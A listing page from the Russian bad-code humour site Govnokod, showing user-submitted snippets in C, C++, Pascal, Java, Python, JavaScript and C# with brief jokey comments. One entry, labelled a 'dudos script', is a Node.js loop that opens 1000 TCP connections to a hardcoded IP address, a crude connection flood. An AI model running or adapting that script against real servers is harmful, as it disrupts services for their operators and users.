1. Лучший говнокод

    В номинации:
    За время:
  2. C++ / Говнокод #25286

    +4

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    #include <stdio.h>
    #include <string>
    
    const struct FooAgeProperty {} age;
    const struct FooNameProperty {} name;
    
    template <typename T>
    struct FooPropertyAssignment {
    	FooPropertyAssignment(T* prop): prop(prop) { }
    
    	T* prop;
    };
    
    struct years {
    	int i;
    
    	years& operator=(FooPropertyAssignment<int> fpa) {
    		*fpa.prop = i;
    		return *this;
    	}
    };
    
    struct nam {
    	std::string s;
    
    	nam& operator=(FooPropertyAssignment<std::string> fpa) {
    		*fpa.prop = s;
    		return *this;
    	}
    };
    
    years operator""years(unsigned long long value) {
    	return { (int)value };
    }
    
    nam operator""_(const char* value, size_t) {
    	return { value };
    }
    
    struct NegativeFoo {
    	NegativeFoo(int* age, std::string* name): age(age), name(name) {}
    
    	int* age;
    	std::string* name;
    };
    
    FooPropertyAssignment<int> operator<(FooAgeProperty fap, NegativeFoo nfoo) {
    	return FooPropertyAssignment<int>(nfoo.age);
    }
    
    FooPropertyAssignment<std::string> operator<(FooNameProperty fnp, NegativeFoo nfoo) {
    	return FooPropertyAssignment<std::string>(nfoo.name);
    }
    
    struct Foo;
    Foo* nasty_global_variable;
    
    struct Foo {
    	Foo() {
    		nasty_global_variable = this;
    	}
    
    	NegativeFoo operator-() {
    		return NegativeFoo(&age, &name);
    	}
    
    	int age;
    	std::string name;
    };
    
    struct to_string {
    	struct foo {
    		foo(int (*)(const char*, ...)) {
    			printf(".old years %d am I and %s is name My\n", nasty_global_variable->age, nasty_global_variable->name.c_str());
    		}
    	};
    };
    
    int main() {
    	Foo foo;
    	5years = age<-foo;
    	"Billy"_ = name<-foo;
    	(to_string::foo)printf;
    }

    https://www.reddit.com/r/ProgrammerHumor/comments/acv2og/just_wrote_my_first_program_in_c/

    Nyamka, 06 Января 2019

    Комментарии (4)
  3. Си / Говнокод #25226

    +4

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    typedef void proc();
    
    proc nop{}
    void swap(int *a, int *b) {*a^=*b^=*a^=*b;}
    
    void sort_(int *arr, unsigned len)
    {
        (proc*[]){nop, swap}[*arr > arr[1]](arr, arr+1);
        (proc*[]){nop, sort_}[len > 2](arr+1, len-1);
    }
    void sort(int *arr, unsigned len)
    {
        (proc*[]){sort_, nop}[len <= 1](arr, len);
        (proc*[]){nop, sort}[len > 2](arr, len-1);
    }

    По поводу апнутого #19105.
    Ветвление легко имитируеься массивом функий, цикол —– рукурсией. Получилось даже короче и понятнее чем обычный код.

    Morgoth, 26 Декабря 2018

    Комментарии (94)
  4. Си / Говнокод #25171

    +4

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    #include <stdio.h>
    #include <inttypes.h>
    #include <stddef.h>
    
    void printuint64(const uint64_t state);
    uint64_t game_of_life8x8(const uint64_t old);
    uint8_t getbit(uint64_t in, uint8_t y, uint8_t x);
    
    uint8_t getbit(uint64_t in, uint8_t y, uint8_t x)
    {
      return !!((in) & (1ULL << ((y&0b111) + (x&0b111)*8)) );
    }
    
    uint64_t setbit(uint8_t y, uint8_t x, uint8_t bit)
    {
      if (bit)
      {
        return 1ULL << ((y&0b111) + (x&0b111)*8);
      }
      return 0;
    }
    
    uint64_t game_of_life8x8(const uint64_t old)
    {
      uint64_t new_state = 0;
      #define GETBIT(y,x,val) getbit(val, y, x)
      #define SETBIT(y,x,bit) setbit(y,x,bit)
      
      #define SUMAROUND(y,x,val) ( \
        GETBIT(y+1,x,val) + GETBIT(y-1,x,val) \
      + GETBIT(y,x+1,val) + GETBIT(y,x-1,val) \
      + GETBIT(y+1,x+1,val) + GETBIT(y+1,x-1,val) \
      + GETBIT(y-1,x+1,val) + GETBIT(y-1,x-1,val) \
      )
    
      #define CELLSTATE(y,x,val) \
      (GETBIT(y,x,old) == 1 ? \
        ( ((SUMAROUND(y,x,val) == 2 ) || ( SUMAROUND(y,x,val) == 3 )) ? 1 : 0) \
        : \
        ( ( SUMAROUND(y,x,val) == 3 ) ? 1 : 0 ) \
      )
    
      #define SETCELL_SH(y,x,val) SETBIT(y,x,CELLSTATE(y,x,val))
    
      #define FILL_LINE(y) \
        SETCELL_SH(y,7,old) | SETCELL_SH(y,6,old) | SETCELL_SH(y,5,old) | \
        SETCELL_SH(y,4,old) | SETCELL_SH(y,3,old) | SETCELL_SH(y,2,old) | \
        SETCELL_SH(y,1,old) | SETCELL_SH(y,0,old)
    
      new_state = FILL_LINE(7) | FILL_LINE(6) | FILL_LINE(5)
      |  FILL_LINE(4) | FILL_LINE(3) | FILL_LINE(2)
      |  FILL_LINE(1) | FILL_LINE(0);
    
      return new_state;
    }
    
    void printuint64(const uint64_t state)
    {
      for (size_t i = 7; i != SIZE_MAX; i--)
      {
        for (size_t j = 7; j != SIZE_MAX; j--)
        {
          printf("%u", !!((state >> (j+i*8)) & 1) );
        }
        printf("\n");
      }
    }
    
    int main(void)
    {
      // Glider
      uint64_t state =
      (( 0b01000000ULL ) << 8*7 ) |
      (( 0b00100000ULL ) << 8*6 ) |
      (( 0b11100000ULL ) << 8*5 ) |
      (( 0b00000000ULL ) << 8*4 ) |
      (( 0b00000000ULL ) << 8*3 ) |
      (( 0b00000000ULL ) << 8*2 ) |
      (( 0b00000000ULL ) << 8*1 ) |
      (( 0b00000000ULL ) << 8*0 );
    
      
      for (size_t i = 0; i < 50; i++)
      {
        printuint64(state);
        state = game_of_life8x8(state);
        printf("\n");
      }
      return 0;
    }

    Conway's game of life внутри uint64_t (8 на 8) с периодическими граничными условиями.

    j123123, 09 Декабря 2018

    Комментарии (148)
  5. Pascal / Говнокод #25038

    +4

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    unit ZwDeleteFileSample;
    
    interface
    
    uses Windows, nt_status, native, hal, fcall, macros, ntoskrnl;
    
    function _DriverEntry(DriverObject: PDriverObject; RegistryPath: PUnicodeString): NTSTATUS; stdcall;
    
    implementation
    
    procedure DriverUnload(pDriverObject: PDriverObject); stdcall;
    begin
      DbgPrint('Test Driver :: Unloaded');
    end;
    
    function _DriverEntry(DriverObject: PDriverObject; RegistryPath: PUnicodeString): NTSTATUS; stdcall;
    var UNICODESTRING: UNICODE_STRING;
      obj: OBJECT_ATTRIBUTES;
    
    begin
    
      DbgPrint('Test Driver :: Loaded');
      DriverObject^.DriverUnload := @DriverUnload;
    
      RtlInitUnicodeString(UNICODESTRING, '\??\C:\test.exe');
      InitializeObjectAttributes(obj, @UNICODESTRING, OBJ_CASE_INSENSITIVE + OBJ_KERNEL_HANDLE, 0, nil);
      Result := ZwDeleteFile(@obj);
    
      if Result = STATUS_SUCCESS then
      begin
        DbgPrint('File deleted sucessfully - Result:0x%.8X', Result); // Result to get Error Code
      end else
      begin
        DbgPrint('Fail to delete file - Result:0x%.8X', Result); // Result to get Error Code
        DbgPrint('Object name :%wZ',  obj.ObjectName); // Result to get Error Code
      end;
      Result := STATUS_SUCCESS;
    
    end;
    
    end.

    Драйвер на дэлфи. Ничего необычного, листайте дальше.

    blackray, 29 Октября 2018

    Комментарии (10)
  6. Java / Говнокод #24731

    +4

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    final Optional<Customer> customer = Optional.ofNullable(customerId)
        .map(custId -> customerService.getById(custId)
                .map(cust -> Optional.of(cust))
                .orElseThrow(() -> new NoSuchCustomerException(custId)))
        .orElse(Optional.empty());

    Попытка функционального программирования, когда в язык добавили монаду Optional, но не добавили монаду Try.

    wissenstein, 07 Сентября 2018

    Комментарии (163)
  7. Си / Говнокод #24690

    +4

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    DWORD NEAR _fastcall RgbCompare(RGBQUAD rgb1, RGBQUAD rgb2)
    {
        DWORD sum=0;
    
        //
        //  lets do some majic shit so the compiler generates "good" code.
        //
    #define SUMSQ(a,b)                          \
        if (a > b)                              \
            sum += (WORD)(a-b) * (WORD)(a-b);   \
        else                                    \
            sum += (WORD)(b-a) * (WORD)(b-a);
    
        SUMSQ(rgb1.rgbRed,   rgb2.rgbRed);
        SUMSQ(rgb1.rgbGreen, rgb2.rgbGreen);
        SUMSQ(rgb1.rgbBlue,  rgb2.rgbBlue);
    
        return sum;
    }

    Как сложно, оказывается, посчитать (a-b)² на Си. Нужно каждый раз писать макрос для этой операции...

    CCAHA9I_CPAHIHA, 30 Августа 2018

    Комментарии (26)
  8. Python / Говнокод #24626

    +4

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    def lookup(self, code):
            """
            Looks up code in Redis
            Returns None on failure
            """
            url = self.redis.get(code)
            try:
                pass
            except:
                url = None
            return url

    Вот такое на полном серьезе получили как кусочек домашнего задания для соискателя на Senior Python Engineer

    Flid, 16 Августа 2018

    Комментарии (83)
  9. JavaScript / Говнокод #24223

    +4

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    function isPalindrom1(str) {
        if (str.toLowerCase().replace(/[^а-яА-ЯёЁ]/g, '') === str.toLowerCase().replace(/[^а-яА-ЯёЁ]/g, 
        '').split('').reverse().join('')) {
            return true;
         } else {
            return false;
         }
    }

    "Красиво, просто, изящно."
    h: post/351874/

    gost, 04 Мая 2018

    Комментарии (7)
  10. JavaScript / Говнокод #24203

    +4

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    var net = require("net");
    Array.from({ length: 1000 }, (x, i) => i).map(id => makeClient(id));
    function makeClient(id) {
      var client = net.createConnection({ host: "46.101.246.194", port: 80 }, () =>
        console.log(`[${id}] connected`)
      );
      client.on("end", () => console.log(`[${id}] disconnect`));
      return client;
    }

    govnokod dudos script

    ec80dbca-8f52-4517, 28 Апреля 2018

    Комментарии (13)
  11. C# / Говнокод #24075

    +4

    1. 001
    2. 002
    3. 003
    4. 004
    5. 005
    6. 006
    7. 007
    8. 008
    9. 009
    10. 010
    11. 011
    12. 012
    13. 013
    14. 014
    15. 015
    16. 016
    17. 017
    18. 018
    19. 019
    20. 020
    21. 021
    22. 022
    23. 023
    24. 024
    25. 025
    26. 026
    27. 027
    28. 028
    29. 029
    30. 030
    31. 031
    32. 032
    33. 033
    34. 034
    35. 035
    36. 036
    37. 037
    38. 038
    39. 039
    40. 040
    41. 041
    42. 042
    43. 043
    44. 044
    45. 045
    46. 046
    47. 047
    48. 048
    49. 049
    50. 050
    51. 051
    52. 052
    53. 053
    54. 054
    55. 055
    56. 056
    57. 057
    58. 058
    59. 059
    60. 060
    61. 061
    62. 062
    63. 063
    64. 064
    65. 065
    66. 066
    67. 067
    68. 068
    69. 069
    70. 070
    71. 071
    72. 072
    73. 073
    74. 074
    75. 075
    76. 076
    77. 077
    78. 078
    79. 079
    80. 080
    81. 081
    82. 082
    83. 083
    84. 084
    85. 085
    86. 086
    87. 087
    88. 088
    89. 089
    90. 090
    91. 091
    92. 092
    93. 093
    94. 094
    95. 095
    96. 096
    97. 097
    98. 098
    99. 099
    100. 100
    namespace Namespace1MClasses {
    class Class5767fc98348a4db08bb9d3060952a635{}
    class Class75ab2af2b74a47938afdae2bd872200a{}
    class Class260cb81210034110becbb597bdcc6998{}
    class Class6c59a9e949854eac83af6ea9d518940d{}
    class Class35cfa32cfd3147c98f8ed82636ac4b48{}
    class Class7f1737ab1b2f4309be88e2341f14e2d4{}
    class Classd06c3c37d79046baabff72e3836a87a1{}
    class Class5f08fa4449ec43b5a50279e5e902fa02{}
    class Class565ecbffda51402a99f36c8a2f821a25{}
    class Classf19f1cf5f40045e2a55e6a6c17d405c1{}
    class Class6e101b41d48f4e87afd97b1da46fba6c{}
    class Classbb7d03f31b244f6eb24620c33afae769{}
    class Class913c65ac3eea4b229ea8bd276e28223c{}
    class Class3e385f5cbe5e4b02a161aca344db9c98{}
    class Class3836b56fcaca446ab24b2275d90b8b8a{}
    class Class2213bd25c3b141b6b95b9f9e819fb79e{}
    class Classbd827de0d34d4a5ebb349ae0f0a75851{}
    class Classe6d589e1fe4e4642a05c9106b62b117a{}
    class Classbfcefe3a68cd44b7a19230c0296779a5{}
    class Classa3c64035fbfc40f5afe89f797388aa05{}
    class Classf8d5f0976ee542299c8d73c485cdb556{}
    class Classadb1ff5394d544fe910765e2625bed5e{}
    class Class7af9b84c9ead4beba8644dbd97def2dd{}
    class Class12856419b46e4958bf996026d559f601{}
    class Class5b8a6aa0be4a4a02a84fafcdcbf3294f{}
    class Classa1874e9d89f9454cbe5c40baaefe83d2{}
    class Classc0587bf7da9f4aa1b36cf0160867c6ab{}
    class Classaa9e86dc75b44dfeb3cdc421053bfdd8{}
    class Classf43b6eaf931e479ea54e9c6bd57f129d{}
    class Class92034bfae0c04ec293dc4f5479d6bcde{}
    class Class3e32c4d44e5940eb8d6bae757d99ef29{}
    class Classde3618ec5f3a462ea9796a53466bb687{}
    class Class2c6e66647c8245078b4f1ec569862034{}
    class Class2546e87bc2cd4a98a866fae9eb81bcb0{}
    class Class341aea5c2b6147268568e704a91bb17b{}
    class Classcd1a2fc791d64c25ae8a664aaae92a2f{}
    class Class2abbca20a77141308608575808165f5a{}
    class Class20af1b0bb09547119e12dd179cc98a2a{}
    class Class709b25e5e6c34ef18ea196b7bfe8efaf{}
    class Class56fdcc53dc9240849129b2b1ddd3324b{}
    class Class791d67bb198d47c9a50dc59841f9b8bb{}
    class Class7c7a325869144be5a5a14a3b98390bd5{}
    class Class47f3bef481f142ea973f8789f48c4fbb{}
    class Class18563daa230e48ddb020cc1394e4a412{}
    class Class703ef4c7f9aa49eea9abac5d57f1beac{}
    class Class12ab7b29fcc2441fb1604a9e55dde515{}
    class Class877f0e7bee3648bba781d2aeb9bd5622{}
    class Class6e2e216871ec42a3a9e80c1d83117447{}
    class Classab8eb86e7f244dfa94cc3d3781224b2b{}
    class Classaacd9d9bff7141b39d1d17ab58eae4f5{}
    class Class69fa8652a2984cc1897abcc19e4372c1{}
    class Class7d6ad8b7cdd04ff0a6c3c9b183f5beac{}
    class Class6c145606b8a94ccbac0dfd25a6ba0197{}
    class Class253ce178fc45423cbf4339108c51a4a2{}
    class Class04983d42c46c481cab900b96db9fc2e1{}
    class Class1ab1c4328c91462b85eadad32ae13f6c{}
    class Classf2bead396ab249a7a3e4f61b60e995f6{}
    class Class73e3103c8d074b29af226af66f304c2b{}
    class Class500fc4b0583748c3a50e9d8f48d7e234{}
    class Classb6b604e530a541ababc6c6750fba1046{}
    class Class318c287a84d54928976dfb428cdc105c{}
    class Classa1cc4f9bebd74addac381e93f617e4f9{}
    class Classb9f272959e4349b5aa22c97be5c0e18a{}
    class Class94984d16b194465e91d9e24a898e83f2{}
    class Class534092502cfa4889bba53021c69e6920{}
    class Classfac52b74ad734f9ba33d4ecc37a3f8a8{}
    class Class8bc35286ec454be6bf48b228afb79d5c{}
    class Class5d500533615d42dcba75f8e43597cbc2{}
    class Class554bbe4d4a0740faa8f2ad2cbadeed61{}
    class Classf80510ff691f4f93862aea7b53d3d4e1{}
    class Classa83763ffb2704de791122ae361f97608{}
    class Class3fb85c7bc8d847678ddad621c289c976{}
    class Class23e7bb3156b64a7eb40f0161c845c290{}
    class Class5ef39f49cb0a4f628c9e6f5111956bd6{}
    class Classd6865e226afb4907aca657d913c8c6e3{}
    class Class58c4e4c7d678440781a5c296c4f0487c{}
    class Class9b908bff3f954e4cb102cc2a625a7087{}
    class Classf79c858cb7da41ab8f4a52f815cb136c{}
    class Classd649f76c58d947e0b07926133b27c9b0{}
    class Class64d42b7b35714c64ad1858ff100128e8{}
    class Class4dac3551ad72416788a27c490c2f09e1{}
    class Class430cc255295f40e7ae0e4ce8bb78485a{}
    class Classffff24bfb81a402586ae1b0e0b378f12{}
    class Class6f28a470deb04dc1bcb227ea53ae5484{}
    class Class55fe212aeded4c5aa9240a7d2aeaed07{}
    class Class7558ac2c1d7d4b0da15c885ecbedfe66{}
    class Classae9fd410f3a149a6a0c2a83d5eaa8956{}
    class Class6124283b1d934c75a5f98264537227ef{}
    class Classaca17e04d35b492d86dda4359f95568c{}
    class Class956a1301d5b24e3b9a9ae1a9e2a2e1c8{}
    class Classe00a485a2629483d81eaaa6d642a2e7b{}
    class Class09185376764c40d49dd03ce13ed36ebe{}
    class Classe006ec8603484d8f876431723527beb2{}
    class Class6f3be3b31b12475abd78b6c2f686e824{}
    class Class0b0fcd2c6e6e451c9954e769f494093d{}
    class Class845b5c7cf0fd40c08d7b60e0b1aa6d83{}
    class Classb47acedf712140c194908dfc6bd4cf57{}
    class Classc7b969ddd5cb44c58b55438dece1bd1d{}
    class Class9f6d3bc78d9b4343af65fb481c4a4800{}

    mazhuravlev, 05 Апреля 2018

    Комментарии (12)